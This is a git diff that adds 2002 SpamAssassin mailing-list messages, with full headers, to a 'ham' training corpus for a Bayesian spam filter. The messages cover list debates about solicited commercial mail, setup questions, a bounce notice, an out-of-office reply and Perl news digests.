spamassassin-talk@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Talk about SpamAssassin +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Tue, 23 Jul 2002 21:00:08 -0400 +Date: Tue, 23 Jul 2002 21:00:08 -0400 + +On Tue, Jul 23, 2002 at 03:43:24PM -0400, rODbegbie wrote: +> > It's quite clear that most of this list does not consider +> > all advertisement to be spam, particularly when attached to a valid +> > personal email by a third-party service. +> +> Cool. So we're all in agreement then. Except for Marc. + +So what brilliant metric do you have in mind to measure unsolicited vs. +solicited commercial email? + +I know I've registered for many commercial lists that send material that +really reads like spam. Moreover, spammers will be able to circumvent +SA if they make spam look like this SCE. This kind of convergence of the +two.... well, it stinks. We can kill SCE, or we can cripple +identification of UCE. + +Obviously an interim solution is to whitelist, but long term is probably +harder. What kind of SCE, like MSDN newsletters, product updates, etc +is in the corpus for the GA? Maybe seeding the corpus with a bigger set +of these type of mails will have some interesting/useful results. + +Ross Vandegrift +ross@willow.seitz.com + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-talk mailing list +Spamassassin-talk@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-talk + + diff --git a/bayes/spamham/easy_ham_2/01309.2be013917de1be361da51fd194dd68cb b/bayes/spamham/easy_ham_2/01309.2be013917de1be361da51fd194dd68cb new file mode 100644 index 0000000..67226da --- /dev/null +++ b/bayes/spamham/easy_ham_2/01309.2be013917de1be361da51fd194dd68cb @@ -0,0 +1,98 @@ +From spamassassin-talk-admin@lists.sourceforge.net Wed Jul 24 02:28:38 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 3F5AC440CC + for ; Tue, 23 Jul 2002 21:28:37 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 24 Jul 2002 02:28:37 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g6O1Lm409217 for ; Wed, 24 Jul 2002 02:21:48 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17XAos-0008Pv-00; Tue, + 23 Jul 2002 18:20:02 -0700 +Received: from joseki.proulx.com ([216.17.153.58]) by + usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id + 17XAoU-0005nA-00 for ; + Tue, 23 Jul 2002 18:19:38 -0700 +Received: from misery.proulx.com (misery.proulx.com [192.168.1.108]) by + joseki.proulx.com (Postfix) with ESMTP id E780814B29 for + ; Tue, 23 Jul 2002 19:19:27 -0600 + (MDT) +Received: by misery.proulx.com (Postfix, from userid 1000) id B1928A8514; + Tue, 23 Jul 2002 19:19:27 -0600 (MDT) +To: spamassassin-talk@example.sourceforge.net +Subject: Re: [SAtalk] Microsoft developer newsletter tagged as spam +Message-Id: <20020724011927.GA5146@misery.proulx.com> +Mail-Followup-To: spamassassin-talk@example.sourceforge.net +References: + <20020723202227.L92608-100000@moon.campus.luth.se> +MIME-Version: 1.0 +Content-Type: multipart/signed; micalg=pgp-sha1; + protocol="application/pgp-signature"; + boundary="PEIAKu/WMn1b1Hv9" +Content-Disposition: inline +In-Reply-To: <20020723202227.L92608-100000@moon.campus.luth.se> +User-Agent: Mutt/1.4i +From: bob@proulx.com (Bob Proulx) +Sender: spamassassin-talk-admin@example.sourceforge.net +Errors-To: spamassassin-talk-admin@example.sourceforge.net +X-Beenthere: spamassassin-talk@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Talk about SpamAssassin +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Tue, 23 Jul 2002 19:19:27 -0600 +Date: Tue, 23 Jul 2002 19:19:27 -0600 + + +--PEIAKu/WMn1b1Hv9 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline + +> PS I know my English isn't good, but... "negative score added", can +> you really say that? Adding something negative... hmmm... + +Yes, that is perfectly legitimate. It is a math / accounting thing. +You get a paycheck for $100. You get a bill for $20. You add them +up. Some of the additions are negitive debit amounts. My bank +statement always has a long list of + items and - items. If I can +keep the + items more than the - items I am doing good. + +Bob + + +--PEIAKu/WMn1b1Hv9 +Content-Type: application/pgp-signature +Content-Disposition: inline + +-----BEGIN PGP SIGNATURE----- +Version: GnuPG v1.0.7 (GNU/Linux) + +iD8DBQE9PgCf0pRcO8E2ULYRAtnpAJ4j3rke5AmfV6FuJ0rvPvwwkEPWKwCff1CF +1VPYcaD2pk78qQXEfPMlRqw= +=Qa5S +-----END PGP SIGNATURE----- + +--PEIAKu/WMn1b1Hv9-- + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-talk mailing list +Spamassassin-talk@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-talk + + diff --git a/bayes/spamham/easy_ham_2/01310.7bfe2d833bc6cf1e5e1acd32de2a25bb b/bayes/spamham/easy_ham_2/01310.7bfe2d833bc6cf1e5e1acd32de2a25bb new file mode 100644 index 0000000..b4aa61a --- /dev/null +++ b/bayes/spamham/easy_ham_2/01310.7bfe2d833bc6cf1e5e1acd32de2a25bb @@ -0,0 +1,71 @@ +From spamassassin-talk-admin@lists.sourceforge.net Wed Jul 24 02:47:43 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id EB839440CC + for ; Tue, 23 Jul 2002 21:47:42 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 24 Jul 2002 02:47:42 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g6O1l6410426 for ; Wed, 24 Jul 2002 02:47:06 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17XBD4-0005BJ-00; Tue, + 23 Jul 2002 18:45:02 -0700 +Received: from mail.cs.ait.ac.th ([192.41.170.16]) by + usw-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) + (Exim 3.31-VA-mm2 #1 (Debian)) id 17XBCD-0001OT-00 for + ; Tue, 23 Jul 2002 18:44:09 -0700 +Received: from bazooka.cs.ait.ac.th (on@bazooka.cs.ait.ac.th + [192.41.170.2]) by mail.cs.ait.ac.th (8.12.3/8.9.3) with ESMTP id + g6O3FIgM085580; Wed, 24 Jul 2002 10:15:19 +0700 (ICT) +From: Olivier Nicole +Received: (from on@localhost) by bazooka.cs.ait.ac.th (8.8.5/8.8.5) id + IAA08939; Wed, 24 Jul 2002 08:43:50 +0700 (ICT) +Message-Id: <200207240143.IAA08939@bazooka.cs.ait.ac.th> +To: joele@iws-irms.com +Cc: spamassassin-talk@example.sourceforge.net +In-Reply-To: <3D3D6A2D.8020601@iws-irms.com> (message from Joel Epstein on + Tue, 23 Jul 2002 09:37:33 -0500) +Subject: Re: [SAtalk] Reporting.... +X-Virus-Scanned: by amavisd-milter (http://amavis.org/) +Sender: spamassassin-talk-admin@example.sourceforge.net +Errors-To: spamassassin-talk-admin@example.sourceforge.net +X-Beenthere: spamassassin-talk@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Talk about SpamAssassin +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Wed, 24 Jul 2002 08:43:50 +0700 (ICT) +Date: Wed, 24 Jul 2002 08:43:50 +0700 (ICT) + +>I currently have spam being filtered for about 50 users via spamd. +>Works perfectly! However, is there anyone out there providing reports +>to their users about what was filetered? Maybe just something like +>date/time, From, and subject? + +Yup! You can check: http://www.cs.ait.ac.th/laboratory/email/quarantine.shtml + +Though it uses procmail! + +Olivier + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-talk mailing list +Spamassassin-talk@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-talk + + diff --git a/bayes/spamham/easy_ham_2/01311.b6a06b3e24130a32172b4c5225a1d5a6 b/bayes/spamham/easy_ham_2/01311.b6a06b3e24130a32172b4c5225a1d5a6 new file mode 100644 index 0000000..11404c4 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01311.b6a06b3e24130a32172b4c5225a1d5a6 @@ -0,0 +1,140 @@ +From spamassassin-talk-admin@lists.sourceforge.net Wed Jul 24 05:05:01 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id D74CC440CC + for ; Wed, 24 Jul 2002 00:04:57 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 24 Jul 2002 05:04:57 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g6O41m418945 for ; Wed, 24 Jul 2002 05:01:48 + +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17XDKg-0001Lp-00 for + ; Tue, 23 Jul 2002 21:01:02 -0700 +Received: from kci.kcilink.com ([206.112.95.6]) by + usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id + 17XDJo-0006JL-00 for ; + Tue, 23 Jul 2002 21:00:08 -0700 +Received: by kci.kciLink.com (Postfix) id 0A43B3F78; Wed, 24 Jul 2002 + 00:00:06 -0400 (EDT) +Date: Wed, 24 Jul 2002 00:00:06 -0400 (EDT) +From: MAILER-DAEMON@kciLink.com (Mail Delivery System) +Subject: Delayed Mail (still being retried) +To: spamassassin-talk-admin@example.sourceforge.net +MIME-Version: 1.0 +Content-Type: multipart/report; report-type=delivery-status; + boundary="0A47D3EA4.1027483206/kci.kciLink.com" +Message-Id: <20020724040006.0A43B3F78@kci.kciLink.com> +Sender: spamassassin-talk-owner@example.sourceforge.net +Errors-To: spamassassin-talk-owner@example.sourceforge.net +X-Beenthere: spamassassin-talk@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Talk about SpamAssassin +List-Unsubscribe: , + +List-Archive: + +This is a MIME-encapsulated message. + +--0A47D3EA4.1027483206/kci.kciLink.com +Content-Description: Notification +Content-Type: text/plain + +This is the Postfix program at host kci.kciLink.com. + +#################################################################### +# THIS IS A WARNING ONLY. YOU DO NOT NEED TO RESEND YOUR MESSAGE. # +#################################################################### + +Your message could not be delivered for 4.0 hours. +It will be retried until it is 5.0 days old. + +For further assistance, please send mail to + + The Postfix program + +: connect to yertle.kcilink.com[216.194.193.105]: Operation + timed out + +--0A47D3EA4.1027483206/kci.kciLink.com +Content-Description: Delivery error report +Content-Type: message/delivery-status + +Reporting-MTA: dns; kci.kciLink.com +Arrival-Date: Tue, 23 Jul 2002 19:43:18 -0400 (EDT) + +Final-Recipient: rfc822; khera@kcilink.com +Action: delayed +Diagnostic-Code: X-Postfix; connect to yertle.kcilink.com[216.194.193.105]: + Operation timed out +Will-Retry-Until: Sun, 28 Jul 2002 19:43:18 -0400 (EDT) + +--0A47D3EA4.1027483206/kci.kciLink.com +Content-Description: Undelivered Message Headers +Content-Type: text/rfc822-headers + +Received: from localhost (localhost [127.0.0.1]) + by kci.kciLink.com (Postfix) with ESMTP id 0A47D3EA4 + for ; Tue, 23 Jul 2002 19:43:18 -0400 (EDT) +Received: from kci.kciLink.com ([206.112.95.6]) by localhost (lorax.kciLink.com [127.0.0.1]) (amavisd-new) with SMTP id 50275-07 for ; Tue, 1e Jul 2002 19:43:17 -0000 (EDT) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net [216.136.171.252]) + by kci.kciLink.com (Postfix) with ESMTP id 056483E44 + for ; Tue, 23 Jul 2002 19:43:16 -0400 (EDT) +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] helo=usw-sf-list1.sourceforge.net) + by usw-sf-list2.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) + id 17X9G9-0002hQ-00; Tue, 23 Jul 2002 16:40:05 -0700 +Received: from mail.t-intra.de ([62.156.147.75] helo=mailc0911.dte2k.de) + by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) + id 17X9Fx-0003Nt-00 + for ; Tue, 23 Jul 2002 16:39:54 -0700 +Received: from mailc0908.dte2k.de ([10.50.185.8]) by mailc0911.dte2k.de with Microsoft SMTPSVC(5.0.2195.4453); + Wed, 24 Jul 2002 01:38:54 +0200 +Received: from nebukadnezar.msquadrat.de ([62.226.214.36]) by mailc0908.dte2k.de with Microsoft SMTPSVC(5.0.2195.4453); + Wed, 24 Jul 2002 01:38:54 +0200 +Received: from otherland (otherland.msquadrat.de [10.10.10.10]) + by nebukadnezar.msquadrat.de (Postfix on SuSE Linux 7.3 (i386)) with ESMTP + id 357113FC; Wed, 24 Jul 2002 01:39:46 +0200 (CEST) +Content-Type: text/plain; + charset="iso-8859-1" +From: "Malte S. Stretz" +To: SpamAssassin Talk ML +User-Agent: KMail/1.4.2 +References: <3D3DDEE7.2A07C357@cnc.bc.ca> <20020723231313.GB14564@kluge.net> +In-Reply-To: <20020723231313.GB14564@kluge.net> +Cc: Kevin Gagel +X-Accept-Language: de, en +MIME-Version: 1.0 +Content-Transfer-Encoding: 8bit +Message-Id: <200207240142.23673@malte.stretz.eu.org> +X-OriginalArrivalTime: 23 Jul 2002 23:38:54.0735 (UTC) FILETIME=[1B8161F0:01C232A2] +Subject: [SAtalk] Why not upgrade to 2.40 today? (was: Re: [Fwd: Re: [Razor-users] can't find Razor/Client.pm]) +Sender: spamassassin-talk-admin@example.sourceforge.net +Errors-To: spamassassin-talk-admin@example.sourceforge.net +X-BeenThere: spamassassin-talk@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Talk about SpamAssassin +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Wed, 24 Jul 2002 01:42:23 +0200 +Date: Wed, 24 Jul 2002 01:42:23 +0200 +X-Virus-Scanned: by amavisd-new amavisd-new-20020630 (@kci) +X-Razor-id: 1aefed7c18b89a0962d66a6bd77b4df015ff0dc8 + +--0A47D3EA4.1027483206/kci.kciLink.com-- + + diff --git a/bayes/spamham/easy_ham_2/01312.715fe5f6f31d47697d5a8f625fd2e49f b/bayes/spamham/easy_ham_2/01312.715fe5f6f31d47697d5a8f625fd2e49f new file mode 100644 index 0000000..90b157f --- /dev/null +++ b/bayes/spamham/easy_ham_2/01312.715fe5f6f31d47697d5a8f625fd2e49f @@ -0,0 +1,96 @@ +From spamassassin-devel-admin@lists.sourceforge.net Wed Jul 24 06:00:37 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 1E931440CC + for ; Wed, 24 Jul 2002 01:00:37 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 24 Jul 2002 06:00:37 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g6O4wo421169 for ; Wed, 24 Jul 2002 05:58:50 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17XE90-0004Df-00; Tue, + 23 Jul 2002 21:53:02 -0700 +Received: from moutng.kundenserver.de ([212.227.126.177]) by + usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id + 17XE8X-00082C-00 for ; + Tue, 23 Jul 2002 21:52:33 -0700 +Received: from [212.227.126.155] (helo=mrelayng1.kundenserver.de) by + moutng3.kundenserver.de with esmtp (Exim 3.35 #2) id 17XE8U-0005Yq-00 for + spamassassin-devel@lists.sourceforge.net; Wed, 24 Jul 2002 06:52:30 +0200 +Received: from [80.129.5.195] (helo=silence.homedns.org) by + mrelayng1.kundenserver.de with asmtp (Exim 3.35 #2) id 17XE8U-0001E5-00 + for spamassassin-devel@lists.sourceforge.net; Wed, 24 Jul 2002 06:52:30 + +0200 +Received: (qmail 5726 invoked by uid 1000); 24 Jul 2002 04:52:19 -0000 +From: Klaus Heinz +To: spamassassin-devel@example.sourceforge.net +Subject: Re: [SAdev] Scoring Yahoo Ads +Message-Id: <20020724065219.A5267@silence.homedns.org> +Mail-Followup-To: spamassassin-devel@example.sourceforge.net +References: +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: ; + from spamassassin-devel-request@lists.sourceforge.net on Tue, + Jul 23, 2002 at 12:20:47PM -0700 +Sender: spamassassin-devel-admin@example.sourceforge.net +Errors-To: spamassassin-devel-admin@example.sourceforge.net +X-Beenthere: spamassassin-devel@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: SpamAssassin Developers +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Wed, 24 Jul 2002 06:52:19 +0200 +Date: Wed, 24 Jul 2002 06:52:19 +0200 +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by dogma.slashnull.org + id g6O4wo421169 + +From: Matt Kettler + +> Hmm, I think that Marc, being one of the most active and prolific posters +> to this list, certainly understands SA much better than most. Certainly + +Frequency of messages does _not_ let you draw valid conclusions about the +understanding of the issues at hand of the sender. +IMHO it's sometimes even inversely proportional. + +> Marc is an active and prolific contributor to SA (gee, look, his name's +> even in the credit's page on the website!). + +This should not impress you so much. At one time I even detected my name +on that page and I contributed less than a handful of rather simple rules. + +That's not to say I don't appreciate Marc's contributions to the effort. +But in his place I would have (hopefully :) reevaluated my arguments in the +face of, as I saw it, massive rejection of his idea what constitutes spam. + +Maybe this list can return to discussing technical topics. Politics should +go to spamassassin-talk. + +ciao + Klaus + + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-devel mailing list +Spamassassin-devel@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-devel + + diff --git a/bayes/spamham/easy_ham_2/01313.92d3b0f5d2597eb916ec1862e1c96c44 b/bayes/spamham/easy_ham_2/01313.92d3b0f5d2597eb916ec1862e1c96c44 new file mode 100644 index 0000000..e71bc4c --- /dev/null +++ b/bayes/spamham/easy_ham_2/01313.92d3b0f5d2597eb916ec1862e1c96c44 @@ -0,0 +1,66 @@ +From spamassassin-talk-admin@lists.sourceforge.net Wed Jul 24 06:08:58 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 94B6A440CC + for ; Wed, 24 Jul 2002 01:08:56 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 24 Jul 2002 06:08:56 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g6O56K421543 for ; Wed, 24 Jul 2002 06:06:21 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17XEIg-0005Si-00; Tue, + 23 Jul 2002 22:03:02 -0700 +Received: from sidewinder.chesco.com ([209.195.204.10]) by + usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id + 17XEIG-0000IT-00 for ; + Tue, 23 Jul 2002 22:02:36 -0700 +Received: from nt3.chesco.com (nt4.chesco.com [10.10.10.110]) by + sidewinder.chesco.com with ESMTP id g6O4tUvI016716 for + ; Wed, 24 Jul 2002 00:55:30 -0400 + (EDT) +From: terry@ccis.net +To: spamassassin-talk@example.sourceforge.net +Message-Id: +X-Mimetrack: Serialize by Router on nt3.chesco.com/Chesco(Release 5.0.8 + |June 18, 2001) at 07/24/2002 01:01:07 AM +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Subject: [SAtalk] Terry Ryan/Chesco is out of the office. +Sender: spamassassin-talk-admin@example.sourceforge.net +Errors-To: spamassassin-talk-admin@example.sourceforge.net +X-Beenthere: spamassassin-talk@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Talk about SpamAssassin +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Wed, 24 Jul 2002 01:01:04 -0400 +Date: Wed, 24 Jul 2002 01:01:04 -0400 + +I will be out of the office starting 07/20/2002 and will not return until +07/29/2002. + +I will respond to your message when I return. If there is an immediate need +to contact a CCIS representative, you can call our office at 610-518-5700. + + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-talk mailing list +Spamassassin-talk@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-talk + + diff --git a/bayes/spamham/easy_ham_2/01314.4419666b80ae7608cfdc4b575b0d7c28 b/bayes/spamham/easy_ham_2/01314.4419666b80ae7608cfdc4b575b0d7c28 new file mode 100644 index 0000000..9ba1014 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01314.4419666b80ae7608cfdc4b575b0d7c28 @@ -0,0 +1,83 @@ +From spamassassin-talk-admin@lists.sourceforge.net Wed Jul 24 13:50:24 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id EE941440CC + for ; Wed, 24 Jul 2002 08:50:22 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 24 Jul 2002 13:50:22 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g6OCoZ413340 for ; Wed, 24 Jul 2002 13:50:35 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17XLYo-0000wo-00; Wed, + 24 Jul 2002 05:48:10 -0700 +Received: from mail015.syd.optusnet.com.au ([210.49.20.173]) by + usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id + 17XLYa-00061h-00 for ; + Wed, 24 Jul 2002 05:47:56 -0700 +Received: from dennis (c18584.rivrw1.nsw.optusnet.com.au [211.28.44.179]) + by mail015.syd.optusnet.com.au (8.11.1/8.11.1) with SMTP id g6OClro03799 + for ; Wed, 24 Jul 2002 22:47:53 + +1000 +Message-Id: <000b01c23310$5173ebc0$0400a8c0@dennis> +From: "zenn" +To: +References: <20020724112504.TFXH23840.mta03-svc.ntlworld.com@[10.137.100.63]> +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 7bit +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 6.00.2600.0000 +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 +Subject: [SAtalk] Sitewide Spam Filtering with Qmail ?? +Sender: spamassassin-talk-admin@example.sourceforge.net +Errors-To: spamassassin-talk-admin@example.sourceforge.net +X-Beenthere: spamassassin-talk@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Talk about SpamAssassin +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Wed, 24 Jul 2002 22:47:49 +1000 +Date: Wed, 24 Jul 2002 22:47:49 +1000 + +Hi all... + +I'm new to SpamAssasin so I appologies if the question has been asked +before. +I'm thinking of setting up SA with my Qmail(Maildir) server acting as our +gateway. +It currently provides inline virus scanning and ORDB open relay filtering. +Is it possible to setup SA to act as a sitewide Spam filter ? +Is there any documentation on setting this up ? +The Qmail server does not house any local mail accounts, it acts as a pure +relay for our internal mail server, I am currently relaing mail for 8 +internal domains... + +Suggestions would be appreciated. + +Regards +Zenn + + + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-talk mailing list +Spamassassin-talk@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-talk + + diff --git a/bayes/spamham/easy_ham_2/01315.519742849e250ae76ac4148f5f7cbcd5 b/bayes/spamham/easy_ham_2/01315.519742849e250ae76ac4148f5f7cbcd5 new file mode 100644 index 0000000..f4caadd --- /dev/null +++ b/bayes/spamham/easy_ham_2/01315.519742849e250ae76ac4148f5f7cbcd5 @@ -0,0 +1,51 @@ +From pudge@perl.org Wed Jul 31 03:00:00 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 48E394406D + for ; Tue, 30 Jul 2002 22:00:00 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 31 Jul 2002 03:00:00 +0100 (IST) +Received: from cpu59.osdn.com (slashdot.org [64.28.67.73] (may be forged)) + by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6V21X229689 for + ; Wed, 31 Jul 2002 03:01:33 +0100 +Received: from [10.2.181.14] (helo=perl.org) by cpu59.osdn.com with smtp + (Exim 3.35 #1 (Debian)) id 17Zimn-0002UE-00 for ; + Tue, 30 Jul 2002 22:00:25 -0400 +Date: Wed, 31 Jul 2002 02:00:22 +0000 +From: pudge@perl.org +Subject: [use Perl] Headlines for 2002-07-31 +To: yyyy-use-perl@spamassassin.taint.org +Precedence: list +X-Bulkmail: 2.051 +Message-Id: + +use Perl Daily Headline Mailer + +Mac OS X Conference Registration Opens + posted by ziggy on Monday July 29, @22:58 (events) + http://use.perl.org/article.pl?sid=02/07/30/0317236 + +New Pumpking is Crowned + posted by pudge on Tuesday July 30, @16:15 (releases) + http://use.perl.org/article.pl?sid=02/07/30/2016230 + + + + +Copyright 1997-2002 pudge. All rights reserved. + + +====================================================================== + +You have received this message because you subscribed to it +on use Perl. To stop receiving this and other +messages from use Perl, or to add more messages +or change your preferences, please go to your user page. + + http://use.perl.org/my/messages/ + +You can log in and change your preferences from there. + + diff --git a/bayes/spamham/easy_ham_2/01316.ba750fd796b2557fbfbbd3699ff90d25 b/bayes/spamham/easy_ham_2/01316.ba750fd796b2557fbfbbd3699ff90d25 new file mode 100644 index 0000000..3263436 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01316.ba750fd796b2557fbfbbd3699ff90d25 @@ -0,0 +1,91 @@ +From pudge@perl.org Wed Jul 31 03:00:00 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id A838F4407C + for ; Tue, 30 Jul 2002 22:00:00 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 31 Jul 2002 03:00:00 +0100 (IST) +Received: from cpu59.osdn.com (slashdot.org [64.28.67.73] (may be forged)) + by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6V21a229694 for + ; Wed, 31 Jul 2002 03:01:37 +0100 +Received: from [10.2.181.14] (helo=perl.org) by cpu59.osdn.com with smtp + (Exim 3.35 #1 (Debian)) id 17Zimu-0002Z0-00 for ; + Tue, 30 Jul 2002 22:00:32 -0400 +Date: Wed, 31 Jul 2002 02:00:29 +0000 +From: pudge@perl.org +Subject: [use Perl] Stories for 2002-07-31 +To: yyyy-use-perl@spamassassin.taint.org +Precedence: list 